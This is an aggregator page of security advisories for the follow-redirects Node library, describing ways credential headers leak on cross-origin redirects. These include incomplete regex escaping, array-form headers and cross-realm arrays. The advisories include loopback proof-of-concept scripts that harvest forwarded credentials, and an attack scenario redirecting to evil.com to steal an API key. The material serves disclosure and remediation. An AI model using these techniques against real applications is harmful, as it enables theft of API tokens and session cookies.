Where
-Infinity
0
Severity
8.2
Infoleak
AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary follow-redirects 1.16.0 introduced the sensitiveHeaders option (the fix for CVE-2026-40895 / GHSA-r4q5-vmmm-2653), which lets an application declare extra header names that must be removed when a redirect crosses to a different host or downgrades protocol. The filter is a single case-insensitive regular expression built by concatenating the declared header names into an alternation after passing each through escapeRegex. escapeRegex escapes only a partial set of metacharacters and leaves ^, |, [, {, and } unescaped. Header names may legitimately contain ^ and | (both are valid RFC 9110 token characters that Node accepts and sends), and for a declared name containing either, the generated pattern can never match the intended header. As a result, an application that adopts this option to protect a custom credential header, then follows an attacker-controlled cross-origin redirect, forwards that credential to the attacker with no error or warning, while believing it is protected. The failure is silent: the protection simply does not exist for the affected names. The built-in list (Authorization, Proxy-Authorization, Cookie) contains no metacharacters and is not affected by this defect.

Details The filter is constructed once, in the RedirectableRequest constructor at index.js:118-120:

js this.headerFilter = new RegExp("^(?:" + sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join("|") + ")$", "i");

escapeRegex at index.js:703-705:

js function escapeRegex(regex) { return regex.replace(/[\]\\/()+?.$]/g, "\\$&"); // escapes ] \ / ( ) + ? . $ -- NOT ^ | [ { } }

The character class escapes ], \, /, (, ), , +, ?, ., and $. It omits ^, |, [, {, and }. Of these, Node's http.ClientRequest accepts ^ and | in header names (they are valid tchar values under RFC 9110) and rejects [, {, } with ERRINVALIDHTTPTOKEN, so ^ and | are the reachable vectors for a silent credential leak. Separately, although [, {, } cannot appear as live header names, declaring a sensitiveHeaders entry that contains one of them injects an unbalanced token into the alternation (for example an unterminated character class), so the filter RegExp throws a SyntaxError in the RedirectableRequest constructor and the request fails to start. That case is a loud request-time crash from the same incomplete-escaping root cause rather than a silent bypass, and the canonical escaper below fixes it as well.

For a declared sensitive header name containing an unescaped metacharacter, the alternation is broken in a fail-open way:

- A name containing ^, for example X-Api^Key, yields the alternative X-Api^Key inside the pattern. The ^ becomes a mid-pattern start-of-string anchor, so the alternative can never match any real header name. test("X-Api^Key") returns false, and the header is not stripped. - A name containing |, for example X-Token|Secret, is split into two separate alternatives X-Token and Secret. The real header X-Token|Secret is never matched (not stripped), while unrelated headers literally named X-Token or Secret would be stripped instead.

The generated filter source, reproduced from the exact library logic, is: ^(?:Authorization|Proxy-Authorization|Cookie|X-Api^Key|X-Token|Secret|X-Control-Key)$ Direct matching results against this filter: X-Api^Key -> false, X-Token|Secret -> false, X-Control-Key (normal name) -> true, and the split-off X-Token -> true and Secret -> true (collateral wrong-stripping). The built-ins Authorization, Proxy-Authorization, Cookie all -> true.

Secondary, related weakness (filter snapshot not refreshed after beforeRedirect): the filter is built once at construction and applied at index.js:490, which runs before the beforeRedirect(this.options, ...) hook and the subsequent sanitizeOptions at index.js:494-506. Because the strip happens before the hook and this.headerFilter is never rebuilt, any entry a caller adds to options.sensitiveHeaders inside beforeRedirect is silently ignored. This facet is lower severity: mutating sensitiveHeaders inside beforeRedirect is not a documented usage of the option (the documented path is the request option), so it is best treated as a hardening item bundled with the escaping fix rather than an independent control bypass. It is included here because both issues undermine the same control and share a remediation.

Suggested remediation: two changes close both facets.

1. Escape the complete set of regular-expression metacharacters: js function escapeRegex(str) { return str.replace(/[.+?^${}()|[\]\\]/g, "\\$&"); } This was verified to restore correct matching for all affected names while preserving the built-in matches.

2. Build the filter at strip time, or rebuild it after the beforeRedirect hook re-sanitizes options, so entries added inside the hook take effect. For example, replace the cached this.headerFilter with a this.getHeaderFilter() that constructs the RegExp from the current this.options.sensitiveHeaders on each redirect.

Additionally, since header names have a strict grammar, consider validating each entry of options.sensitiveHeaders against the RFC 9110 token character set and throwing an explicit error on invalid names, so misconfiguration fails loudly. Add a unit test asserting that every declared name is actually matched by the generated filter; the current suite only exercises metacharacter-free names (Sensitive-A, x-sensitive-b), which is why the defect passes CI.

References: - https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653 - https://github.com/follow-redirects/follow-redirects/pull/284 - https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9

PoC Environment: Node.js v24.18.0 on Windows 11. Run each script from a checkout of follow-redirects at 1.16.0 so that require("./index.js") resolves to the library under test.

Facet 1, metacharacter header names, leak.js: js var followRedirects = require("./index.js"); var http = require("http"); var redirector = http.createServer(function (req, res) { req.resume(); res.writeHead(302, { Location: "http://127.0.0.1:45902/" }); // cross-origin (different port) res.end(); }); var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); // attacker-controlled target }); redirector.listen(45901, "127.0.0.1", function () { collector.listen(45902, "127.0.0.1", function () { followRedirects.http.request({ hostname: "127.0.0.1", port: 45901, path: "/", headers: { "X-Api^Key": "SECRET-LEAKED-1", // declared sensitive, name contains ^ "X-Token|Secret": "SECRET-LEAKED-2", // declared sensitive, name contains | "X-Control-Key": "SHOULD-BE-STRIPPED", // declared sensitive, normal name (control) "Authorization": "Bearer BUILTIN-CTL" // built-in list (control) }, sensitiveHeaders: ["X-Api^Key", "X-Token|Secret", "X-Control-Key"] }, function (res) { var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () { var h = JSON.parse(body); console.log("X-Api^Key :", h["x-api^key"] || "(stripped)"); console.log("X-Token|Secret :", h["x-token|secret"] || "(stripped)"); console.log("X-Control-Key :", h["x-control-key"] || "(stripped - OK)"); console.log("Authorization :", h["authorization"] || "(stripped - OK)"); redirector.close(); collector.close(); }); }).end(); }); }); Observed output (1.16.0): X-Api^Key : SECRET-LEAKED-1 <- credential LEAKED to redirect target X-Token|Secret : SECRET-LEAKED-2 <- credential LEAKED to redirect target X-Control-Key : (stripped - OK) <- control: option works for normal names Authorization : (stripped - OK) <- control: built-in list works The two controls stripping correctly in the same run prove the strip branch executed and only the metacharacter names defeat the filter.

Root-cause and fix verification (pure regex logic, no network): js var builtin = ["Authorization", "Proxy-Authorization", "Cookie"]; function escCurrent(s) { return s.replace(/[\]\\/()+?.$]/g, "\\$&"); } // library's escaper function escFixed(s) { return s.replace(/[.+?^${}()|[\]\\]/g, "\\$&"); } // canonical escaper function build(esc, d) { return new RegExp("^(?:" + builtin.concat(d).map(esc).join("|") + ")$", "i"); } var declared = ["X-Api^Key", "X-Token|Secret", "X-Control-Key"]; var cur = build(escCurrent, declared), fix = build(escFixed, declared); ["X-Api^Key","X-Token|Secret"].forEach(n => console.log("current", n, cur.test(n))); // both false ["X-Api^Key","X-Token|Secret"].forEach(n => console.log("fixed ", n, fix.test(n))); // both true ["X-Token","Secret"].forEach(n => console.log("collateral", n, cur.test(n))); // both true (wrong) Observed: current filter returns false for both metacharacter names and true for the unrelated X-Token and Secret; the fixed filter returns true for all declared names and still true for the built-ins.

Reachability of the vectors: node -e 'var http=require("http");["X-A^B","X-A|B","X-A[B","X-A{B","X-A}B"].forEach(function(n){try{var r=http.request({host:"127.0.0.1",port:1});r.setHeader(n,"v");r.destroy();console.log(n,"ACCEPTED");}catch(e){console.log(n,"REJECTED",e.code);}});' Observed: X-A^B and X-A|B ACCEPTED; X-A[B, X-A{B, X-A}B REJECTED with ERRINVALIDHTTPTOKEN.

Facet 2, entry declared inside beforeRedirect, leak2.js: js var followRedirects = require("./index.js"); var http = require("http"); var redirector = http.createServer(function (req, res) { res.writeHead(302, { Location: "http://127.0.0.1:46202/" }); res.end(); }); var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); }); redirector.listen(46201, "127.0.0.1", function () { collector.listen(46202, "127.0.0.1", function () { followRedirects.http.request({ hostname: "127.0.0.1", port: 46201, path: "/", headers: { "X-Late": "LATE-DECLARED-VALUE" }, beforeRedirect: function (options) { options.sensitiveHeaders.push("X-Late"); } }, function (res) { var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () { console.log("X-Late forwarded to redirect target:", JSON.parse(body)["x-late"] || "(stripped)"); redirector.close(); collector.close(); }); }).end(); }); }); Observed output (1.16.0): X-Late forwarded to redirect target: LATE-DECLARED-VALUE (the late-declared name is not stripped).

Impact This is an information-disclosure vulnerability: silent failure of the sensitiveHeaders cross-origin stripping control for affected header names. Who is impacted: any application, or upstream library, that adopts the sensitiveHeaders option to protect a custom credential-bearing header whose name contains ^ or |, and that follows a redirect controlled or compromised by an attacker. When triggered, the declared header value (typically an API token or other bearer credential) is disclosed to the attacker-controlled destination, silently, while the application believes the header is protected. As with the array-form finding, if the redirect downgrades HTTPS to HTTP, the credential also transits in cleartext. Downstream exposure extends beyond the library: any application or wrapper that adopts the sensitiveHeaders option and declares a metacharacter-bearing header name inherits the same silent bypass. axios delegates redirect handling to follow-redirects (see GHSA-r4q5-vmmm-2653), so axios-based stacks are affected wherever this option reaches the library. The built-in protected headers are unaffected.

1 / 3
Source: GitHub
First published (updated )
Severity
8.2
Infoleak
AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary follow-redirects removes sensitive credential headers (Authorization, Proxy-Authorization, Cookie, and any caller-declared sensitiveHeaders) before following a redirect that crosses to a different host or downgrades to a less secure protocol. The removal routine iterates the caller's headers container with for...in and matches header names against a filter. This assumes the headers container is a plain object keyed by header names. Node's underlying http.request, which follow-redirects is a drop-in replacement for, also accepts headers as an alternating array of names and values. For an array, for...in yields the numeric indices "0", "1", "2" and so on, which never match a header-name filter, so nothing is removed. An application that sends array-form headers and follows an attacker-controlled cross-origin redirect therefore forwards its Authorization, Cookie, and Proxy-Authorization headers verbatim to the attacker-controlled destination, with no error or warning. The sensitiveHeaders option added to fix CVE-2026-40895 / GHSA-r4q5-vmmm-2653 is equally ineffective, because it relies on the same helper. This is an unauthenticated confidentiality vulnerability: any remote server the victim application contacts can harvest the victim's credential headers by responding with a cross-origin redirect.

Details The cross-origin credential-stripping control is implemented by removeMatchingHeaders(regex, headers) at index.js:630-640:

js function removeMatchingHeaders(regex, headers) { var lastValue; for (var header in headers) { // for...in over an ARRAY yields "0","1","2"... if (regex.test(header)) { // the header-name filter never matches a numeric index lastValue = headers[header]; delete headers[header]; } } return (lastValue === null || typeof lastValue === "undefined") ? undefined : String(lastValue).trim(); }

It is invoked from processResponse for three purposes, all with the caller-supplied this.options.headers:

- index.js:490 - strip the credential filter (this.headerFilter, which covers the built-in list Authorization/Proxy-Authorization/Cookie plus any sensitiveHeaders) when the redirect crosses origin or downgrades protocol. - index.js:470 - strip the Host header (/^host$/i). - index.js:466 - strip content- headers when a 301/302/303 converts POST to GET.

The caller-supplied headers container is passed straight through to each redirected request via nativeProtocol.request(this.options) at index.js:352. sanitizeOptions (index.js:300-331) only replaces options.headers when it is falsy, so an array is left untouched.

Node's http.request accepts options.headers as an alternating array of names and values (for example ["Authorization", "Bearer ...", "Cookie", "session=..."]). This is a supported way to control header ordering and duplication. For such an array, for (var header in headers) iterates the numeric indices "0", "1", "2", and the header-name regex never matches any of them, so removeMatchingHeaders deletes nothing. Every one of the three strip operations above silently no-ops:

- The built-in credential headers (Authorization, Cookie, Proxy-Authorization) are forwarded to the cross-origin redirect target. - Any sensitiveHeaders the caller declared are forwarded too. - The stale Host of the previous origin is re-sent to the new origin. - On a POST-to-GET redirect the content- headers are retained, leaving Content-Length inconsistent with the now-empty body.

The primary and highest-impact consequence is disclosure of credential headers. The stale Host re-send and the Content-Length inconsistency are secondary correctness defects arising from the same root cause.

Root-cause history: the for...in-based removeMatchingHeaders used for the built-in credential strip has been present since the cross-host Authorization drop was introduced (commit 724087d, first released in v1.11.0) and is unchanged through 1.16.0. The sensitiveHeaders layer was introduced in 1.16.0 (commit 844c4d3). The behavior was verified directly on both 1.15.11 and 1.16.0.

Suggested remediation: handle or explicitly reject Node's array-form headers. The strictest fix is to detect Array.isArray(options.headers) in sanitizeOptions and throw a clear TypeError instructing callers to pass an object, so misuse fails loudly instead of silently downgrading security. If array support is desired, extend removeMatchingHeaders to walk the array in name/value pairs:

js function removeMatchingHeaders(regex, headers) { if (Array.isArray(headers)) { var lastValue; for (var i = 0; i < headers.length; i += 2) { if (regex.test(headers[i])) { lastValue = headers[i + 1]; headers.splice(i, 2); i -= 2; } } return (lastValue === null || typeof lastValue === "undefined") ? undefined : String(lastValue).trim(); } // existing object logic }

Apply the same guard to the Host and content- removal paths. Add regression tests that exercise array-form headers across a cross-origin redirect; the current suite only covers object-form headers.

References: - https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653 - https://github.com/follow-redirects/follow-redirects/commit/724087d696c0bcd55c13ee0f3560c4558138e422 - https://github.com/follow-redirects/follow-redirects/commit/844c4d3 (sensitiveHeaders option)

PoC Environment: Node.js v24.18.0 on Windows 11. The underlying Node array-header behavior is long-standing and not version-specific. Run each script from a checkout of follow-redirects at 1.16.0 so that require("./index.js") resolves to the library under test.

Precondition check (Node accepts and serializes array-form headers): node -e 'var http=require("http");var s=http.createServer((q,r)=>r.end(JSON.stringify(q.headers)));s.listen(0,"127.0.0.1",()=>{var p=s.address().port;http.request({hostname:"127.0.0.1",port:p,headers:["Authorization","Bearer T","Cookie","c=1"]},res=>{var b="";res.on("data",c=>b+=c);res.on("end",()=>{console.log(JSON.parse(b).authorization, JSON.parse(b).cookie);s.close();});}).end();});' Observed: Bearer T c=1 (the server receives both headers, confirming array form is valid and delivered).

Minimal form (built-in credential list), arrayleak.js: js var followRedirects = require("./index.js"); var http = require("http"); var redirector = http.createServer(function (req, res) { req.resume(); res.writeHead(302, { Location: "http://127.0.0.1:47302/steal" }); // cross-origin (different port) res.end(); }); var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); // attacker-controlled target }); redirector.listen(47301, "127.0.0.1", function () { collector.listen(47302, "127.0.0.1", function () { followRedirects.http.request({ hostname: "127.0.0.1", port: 47301, path: "/", method: "GET", headers: [ "Host", "127.0.0.1:47301", "Authorization", "Bearer ARRAY-FORM-VICTIM-TOKEN", "Cookie", "session=ARRAY-FORM-SESSION-ID", "X-Custom", "harmless" ] }, function (res) { var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () { var h = JSON.parse(body); console.log("Authorization :", h.authorization || "(stripped - OK)"); console.log("Cookie :", h.cookie || "(stripped - OK)"); redirector.close(); collector.close(); }); }).end(); }); }); Observed output (1.16.0 and 1.15.11): Authorization : Bearer ARRAY-FORM-VICTIM-TOKEN <- credential LEAKED cross-origin Cookie : session=ARRAY-FORM-SESSION-ID <- credential LEAKED cross-origin Control: replacing headers with the equivalent object { Host: ..., Authorization: ..., Cookie: ... } and re-running strips both correctly, proving the strip branch executes and only the array iteration defeats it.

Combined form (built-in list plus the 1.16.0 sensitiveHeaders fix, all defeated in one request), combined.js: js var followRedirects = require("./index.js"); var http = require("http"); var redirector = http.createServer(function (req, res) { req.resume(); res.writeHead(302, { Location: "http://127.0.0.1:47402/steal" }); res.end(); }); var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); }); redirector.listen(47401, "127.0.0.1", function () { collector.listen(47402, "127.0.0.1", function () { followRedirects.http.request({ hostname: "127.0.0.1", port: 47401, path: "/", method: "GET", headers: [ "Host", "127.0.0.1:47401", "Authorization", "Bearer BUILTIN-VICTIM-TOKEN", "Cookie", "session=BUILTIN-SESSION-ID", "X-API-Key", "DECLARED-VICTIM-KEY" ], sensitiveHeaders: ["X-API-Key"] }, function (res) { var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () { var h = JSON.parse(body); console.log("Authorization (built-in list) :", h.authorization || "(stripped - OK)"); console.log("Cookie (built-in list) :", h.cookie || "(stripped - OK)"); console.log("X-API-Key (sensitiveHeaders) :", h["x-api-key"] || "(stripped - OK)"); redirector.close(); collector.close(); }); }).end(); }); }); Observed output (1.16.0): Authorization (built-in list) : Bearer BUILTIN-VICTIM-TOKEN <- LEAKED Cookie (built-in list) : session=BUILTIN-SESSION-ID <- LEAKED X-API-Key (sensitiveHeaders) : DECLARED-VICTIM-KEY <- LEAKED (the CVE-2026-40895 fix defeated)

Protocol-downgrade branch (credentials transit in cleartext), downgrade.js, using the repository's own test certificate at test/assets/: js var followRedirects = require("./index.js"); var http = require("http"); var https = require("https"); var fs = require("fs"); var opts = { key: fs.readFileSync("test/assets/localhost.key"), cert: fs.readFileSync("test/assets/localhost.crt") }; var ca = fs.readFileSync("test/assets/ca.crt"); var httpsOrigin = https.createServer(opts, function (req, res) { req.resume(); res.writeHead(302, { Location: "http://localhost:47502/steal" }); res.end(); }); var httpCollector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); }); httpsOrigin.listen(47501, "localhost", function () { httpCollector.listen(47502, "localhost", function () { followRedirects.https.request({ hostname: "localhost", port: 47501, path: "/", method: "GET", ca: ca, headers: ["Host", "localhost:47501", "Authorization", "Bearer DOWNGRADE-TOKEN", "Cookie", "session=DOWNGRADE-SESSION"] }, function (res) { var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () { var h = JSON.parse(body); console.log("Authorization :", h.authorization || "(stripped - OK)"); console.log("Cookie :", h.cookie || "(stripped - OK)"); httpsOrigin.close(); httpCollector.close(); }); }).end(); }); }); Observed output (1.16.0): both credentials received at the plaintext HTTP target after an HTTPS-to-HTTP redirect, meaning they transit unencrypted and are harvestable by any on-path network observer, not only the redirect destination.

Side-effect verification (stale Host re-sent, Content-Length inconsistent): a POST request with array-form headers and a 13-byte body that receives a 302 to a different origin was observed to arrive at the new origin as a GET carrying the stale Host of the first origin and Content-Length: 13 despite an empty body.

Impact This is an information-disclosure vulnerability: silent failure of the cross-origin credential-header stripping control. Who is impacted: any application, or upstream library, that calls follow-redirects with Node's array-form headers (used to control header ordering or duplication) and follows a redirect whose target is controlled or compromised by an attacker. When triggered, the victim's Authorization, Cookie, and Proxy-Authorization headers, and any headers declared through the sensitiveHeaders option, are disclosed to the attacker-controlled destination. In the protocol-downgrade case the credentials additionally traverse the network in cleartext, exposing them to on-path observers. No authentication or user interaction is required of the attacker beyond controlling a redirect target the victim already contacts. The control that is defeated is the same one that prior advisories in this library (CVE-2022-0155, CVE-2022-0536, CVE-2026-40895 / GHSA-r4q5-vmmm-2653) were issued to establish and harden.

1 / 3
Source: GitHub
First published (updated )
Severity
8.2
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

follow-redirects 1.16.0 and 1.16.1 validate the documented sensitiveHeaders option with instanceof Array. An array created in another JavaScript realm is silently replaced with an empty list, so a caller-declared custom credential header can be forwarded to an attacker-controlled cross-origin redirect destination.

Details

Affected versions

The sensitiveHeaders option was introduced in 1.16.0. Published 1.16.0 and 1.16.1 both reproduced, giving a tested affected range of 1.16.0 through 1.16.1. The source checkout was pinned at revision 46301256333c90b7faac7aa126effe72ec16d16e; the exact npm 1.16.1 artifact reproduced independently.

Root cause

index.js resets options.sensitiveHeaders when its local isArray() helper returns false. That helper uses value instanceof Array, which depends on realm identity. The same file already uses Array.isArray(options.headers), which correctly recognizes arrays across realms.

Suggested remediation

Use Array.isArray(value) for sensitiveHeaders, then validate and normalize each member as a header-name string. Add same-realm and node:vm cross-realm tests for cross-origin redirects, including the array-form headers representation. Verify that custom sensitive names are removed while unrelated headers remain unchanged.

Duplicate review

The public advisory history contains other sensitive-header findings, including array-form headers and regular-expression handling, but focused repository searches found no report describing cross-realm validation as of 2026-10-25. A private or differently worded report may already exist.

Proof of concept

Start two loopback HTTP servers. The first returns a 302 redirect to the second. Send X-API-Key and list that name in sensitiveHeaders, then compare a normal array with a genuine cross-realm array created by:

js const vm = require('node:vm'); const sensitiveHeaders = vm.runInNewContext(['X-API-Key']);

Observed against both source and the exact npm 1.16.1 package:

- Same-realm ['X-API-Key']: the redirect target did not receive the key. - Cross-realm ['X-API-Key']: Array.isArray(value) was true, value instanceof Array was false, and the redirect target received X-API-Key. - An unrelated X-Harmless header remained present in both cases.

The complete 3.5 KB loopback-only harness and raw JSON output are available privately.

Impact

custom credential disclosure. Exploitation requires a direct caller or wrapper that preserves a cross-realm sensitiveHeaders array, a custom credential listed in that option, and an attacker-controlled or compromised endpoint that returns a cross-origin redirect. The directly demonstrated result is disclosure of the custom header value, potentially exposing an API key or service token until revocation.

Built-in Authorization, Proxy-Authorization, and Cookie protections remained effective. Exact Axios 1.20.0 with follow-redirects 1.16.1 did not reproduce because Axios normalized the array; this report does not claim that Axios is affected. No third-party service was tested.

1 / 3
Source: GitHub
First published (updated )
Severity
7

follow-redirects is an open source, drop-in replacement for Node's http and https modules that automatically follows redirects. Prior to 1.16.0, when an HTTP request follows a cross-domain redirect (301/302/307/308), follow-redirects only strips authorization, proxy-authorization, and cookie headers (matched by regex at index.js). Any custom authentication header (e.g., X-API-Key, X-Auth-Token, Api-Key, Token) is forwarded verbatim to the redirect target. This vulnerability is fixed in 1.16.0.

First published (updated )
Severity
6.9
Infoleak
AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

When an HTTP request follows a cross-domain redirect (301/302/307/308), follow-redirects only strips authorization, proxy-authorization, and cookie headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., X-API-Key, X-Auth-Token, Api-Key, Token) is forwarded verbatim to the redirect target.

Since follow-redirects is the redirect-handling dependency for axios (105K+ stars), this vulnerability affects the entire axios ecosystem.

Affected Code

index.js, lines 469-476:

javascript if (redirectUrl.protocol !== currentUrlParts.protocol && redirectUrl.protocol !== "https:" || redirectUrl.host !== currentHost && !isSubdomain(redirectUrl.host, currentHost)) { removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this.options.headers); }

The regex only matches authorization, proxy-authorization, and cookie. Custom headers like X-API-Key are not matched.

Attack Scenario

1. App uses axios with custom auth header: headers: { 'X-API-Key': 'sk-live-secret123' } 2. Server returns 302 Location: https://evil.com/steal 3. follow-redirects sends X-API-Key: sk-live-secret123 to evil.com 4. Attacker captures the API key

Impact

Any custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.

Suggested Fix

Add a sensitiveHeaders option that users can extend, or strip ALL non-standard headers on cross-domain redirect.

Disclosure

Source code review, manually verified. Found 2026-03-20.

1 / 3
Source: OSV
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203